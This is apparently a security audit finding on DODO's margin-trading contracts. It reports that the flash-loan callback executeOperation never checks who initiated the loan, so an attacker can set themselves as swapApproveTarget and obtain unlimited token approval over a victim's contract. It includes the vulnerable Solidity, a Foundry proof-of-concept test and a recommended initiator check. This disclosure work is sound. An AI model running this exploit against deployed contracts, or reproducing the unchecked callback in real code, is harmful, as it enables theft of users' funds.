0xHati

high

# Any tokens held in a user marginTrading contract can be stolen

## Summary
If a user holds funds in his `marginTrading` contract, they can be stolen. It's very likely the contract holds tokens since it's used to actively manage his positions and it's also the contract which will receive borrowed tokens. The `marginTrading` contract lets users execute a flashloan, and the contract has the callback function. However there is no check in the callback function that the `marginTrading` or `marginTradingFactory` contract initiated the flashloan. 

## Vulnerability Detail
For a user it's possible to execute a flashloan on Aave via the the `marginTradingFactory` or the `marginTrading` contract. In the `marginTrading` contract this is done via `executeFlashLoans` which then calls the lendingPool to start a flashloan. Note that in Aave depending on the parameters passed this is not always necessarily a flashloan but can be a regular deposit as well to open a position. Aave calls the callback function `executeOperation` where any logic can be done. 

It's possible to open or close a trade depending on the decoded parameters it gets from the aave callback. 

The problem is that the `executeOperation` doesn't check who started the flashloan. More specifically this is how the attack could happen:

1. Attacker initiates a flashloan on aave, but with the victim his `marginTrading` address as receiver and the attacker his address as `swapApproveTarget`
2. Pass in all tokens the victim has and a deposit amount of 0
3. During the `executeOperation` the `marginTrading` will approve the tokens and does a 0 deposit
4. Attacker can withdraw all funds

See the code snippets for details on how this would work.

This makes it possible for an attacker to initiate the flashloan, pass in any tokens the contract holds and set the approval to any address he wants by using `_swapApproveTarget`.

## Impact

## Code Snippet

This is the callback function which is called by aave and receives an `_initiator`, however there is no check on who iniated. Anyone can initiate with the `marginTrading` account as receiver.
```solidity
function executeOperation(
        address[] calldata _assets,
        uint256[] calldata _amounts,
        uint256[] calldata _premiums,
        address _initiator,
        bytes calldata _params
    ) external override onlyLendingPool returns (bool) {
        //decode params exe swap and deposit
        {
            (
                uint8 _flag,
                address _swapAddress,
                address _swapApproveTarget,
                address[] memory _swapApproveToken,
                bytes memory _swapParams,
                address[] memory _tradeAssets,
                address[] memory _withdrawAssets,
                uint256[] memory _withdrawAmounts,
                uint256[] memory _rateMode,
                address[] memory _debtTokens
            ) = abi.decode(
                _params,
                (uint8, address, address, address[], bytes, address[], address[], uint256[], uint256[], address[])
            );
            if (_flag == 0 || _flag == 2) {
                //close
                _closetrade(
                    _flag,
                    _swapAddress,
                    _swapApproveTarget,
                    _swapApproveToken,
                    _swapParams,
                    _tradeAssets,
                    _withdrawAssets,
                    _withdrawAmounts,
                    _rateMode,
                    _debtTokens
                );
            }
            if (_flag == 1) {
                //open
                _opentrade(_swapAddress, _swapApproveTarget, _swapApproveToken, _swapParams, _tradeAssets);
            }
        }
        return true;
    }
```
The function that gets called.  It approves different tokens for `_swapApproveTarget`. This can be chosen by the attacker to approve tokens that the `marginTrading` contract holds or any other tokens to himself.
```solidity
function _opentrade(
        address _swapAddress,
        address _swapApproveTarget,
        address[] memory _swapApproveToken,
        bytes memory _swapParams,
        address[] memory _tradeAssets
    ) internal {
        if (_swapParams.length > 0) {
            // approve to swap route
            for (uint256 i = 0; i < _swapApproveToken.length; i++) {
                IERC20(_swapApproveToken[i]).approve(_swapApproveTarget, type(uint256).max);
            }

            (bool success,) = _swapAddress.call(_swapParams);
            require(success, "dodoswap fail");
        }
        uint256[] memory _tradeAmounts = new uint256[](_tradeAssets.length);
        for (uint256 i = 0; i < _tradeAssets.length; i++) {
            _tradeAmounts[i] = IERC20(_tradeAssets[i]).balanceOf(address(this));
            _lendingPoolDeposit(_tradeAssets[i], _tradeAmounts[i], 1);
        }
        emit OpenPosition(_swapAddress, _swapApproveToken, _tradeAssets, _tradeAmounts);
    }
```

This is the line which is especially important in the attack. [Link](https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L267) to the code part.
```solidity
 IERC20(_swapApproveToken[i]).approve(_swapApproveTarget, type(uint256).max);
```

### POC
The mock of the lendingPool used by the team has set the receiver to `msg.sender`, however in Aave the receiver is the `receiverAddress` which is a parameter of the flashloan function call. So in order for this test to run you need to change the mock. 
 ```solidity
IFlashLoanReceiver(msg.sender).executeOperation(assets, amounts, _premiums, msg.sender, params);
```
```solidity
IFlashLoanReceiver(receiverAddress).executeOperation(assets, amounts, _premiums, msg.sender, params);
```
See the [Aave docs](https://docs.aave.com/developers/v/2.0/the-core-protocol/lendingpool#flashloan).

```solidity
function testAttackFlashLoan() public {
        vm.prank(user1);
        address marginTrading = createMarginTradingContract();
        vm.startPrank(user2, user2);
        uint256 depositAmt = 100 ether;
        uint256 borrowAmt = 1 ether;

        address[] memory _assets = new address[](1);
        uint256[] memory _amounts = new uint256[](1);
        uint256[] memory _modes = new uint256[](1);

        _assets[0] = address(weth);
        _amounts[0] = 0;
        _modes[0] = 1;
        address _mainToken = address(weth);

        bytes memory executeParams;
        {
            address[] memory _withdrawAssets = new address[](1);
            uint256[] memory _withdrawAmounts = new uint256[](1);
            uint256[] memory _rateMode = new uint256[](0);
            address[] memory _debtTokens = new address[](1);
            //attacker can pass in all tokens he wants
            address[] memory _swapApproveToken = new address[](1);
            _swapApproveToken[0] = address(weth);
            address[] memory _tradeAssets = new address[](1);
            _tradeAssets[0] = address(dai);
            executeParams = encodeExecuteParams(
                1, //open trade
                address(0), //_swapAddress
                user2, //swapApproveTarget (attacker address)
                _swapApproveToken, //list of tokens that will approve the attacker
                bytes("not empty"),
                _tradeAssets,
                _withdrawAssets,
                _withdrawAmounts,
                _rateMode,
                _debtTokens
            );
        }
        //initiate flashLoan but with amount 0, we just want to get approval
        lendingPool.flashLoan(marginTrading, _assets, _amounts, _modes, marginTrading, executeParams, 0);
        vm.stopPrank();

        assertEq(weth.allowance(marginTrading, user2), type(uint256).max);
    }
```
## Tool used

Manual Review

## Recommendation
Verify in the `executeOperation` function that the `_initiator` is either the `owner()`, the `_USER` or the `marginTrading` itself.
